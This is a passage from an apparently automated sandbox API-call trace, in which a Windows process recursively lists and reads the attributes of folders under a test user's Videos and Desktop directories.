(in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9258 [0074.669] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.669] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.669] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0074.670] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0074.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0074.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL", lpFilePart=0x0) returned 0x2e [0074.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0074.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b76530, ftCreationTime.dwHighDateTime=0x1d3058a, ftLastAccessTime.dwLowDateTime=0x2351bca0, ftLastAccessTime.dwHighDateTime=0x1d2fd61, ftLastWriteTime.dwLowDateTime=0x2351bca0, ftLastWriteTime.dwHighDateTime=0x1d2fd61, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0074.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0074.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL", lpFilePart=0x0) returned 0x2e [0074.670] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9258 [0074.670] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.671] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.671] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.671] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.671] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.671] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.671] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0074.671] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0074.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0074.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0074.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL", lpFilePart=0x0) returned 0x2e [0074.672] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9258 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.672] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0074.672] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0074.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0074.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0074.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA", lpFilePart=0x0) returned 0x1e [0074.673] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9258 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0074.674] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0074.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0074.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0074.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos", lpFilePart=0x0) returned 0x18 [0074.674] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9258 [0074.674] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0074.674] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0074.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0075.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0075.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0075.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0075.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0075.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0075.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0075.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0075.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0075.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0075.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0075.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0075.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0075.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0075.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0075.377] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9318 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.377] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.378] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.379] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.379] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.379] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.379] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0075.379] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0075.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0075.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM", lpFilePart=0x0) returned 0x22 [0075.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0075.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fa4d110, ftCreationTime.dwHighDateTime=0x1d2f75c, ftLastAccessTime.dwLowDateTime=0xf15dc210, ftLastAccessTime.dwHighDateTime=0x1d30310, ftLastWriteTime.dwLowDateTime=0xf15dc210, ftLastWriteTime.dwHighDateTime=0x1d30310, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0075.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0075.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0075.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM", lpFilePart=0x0) returned 0x22 [0075.379] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0075.379] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.379] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.380] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.380] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0075.381] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0075.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0075.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh", lpFilePart=0x0) returned 0x26 [0075.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0075.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2412320, ftCreationTime.dwHighDateTime=0x1d2f9ce, ftLastAccessTime.dwLowDateTime=0x9f9d3ad0, ftLastAccessTime.dwHighDateTime=0x1d302a4, ftLastWriteTime.dwLowDateTime=0x9f9d3ad0, ftLastWriteTime.dwHighDateTime=0x1d302a4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0075.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0075.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0075.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh", lpFilePart=0x0) returned 0x26 [0075.381] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9318 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.381] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0075.381] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0075.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0075.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0075.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh", lpFilePart=0x0) returned 0x26 [0075.382] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9318 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0075.382] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0075.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0075.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0075.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM", lpFilePart=0x0) returned 0x22 [0075.382] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.382] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.383] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.383] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0075.383] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0075.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR", lpFilePart=0x0) returned 0x2b [0075.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0075.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR" (normalized: "c:\\users\\kft6utqw\\desktop\\n dtf4xe4-dkuqmor"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, 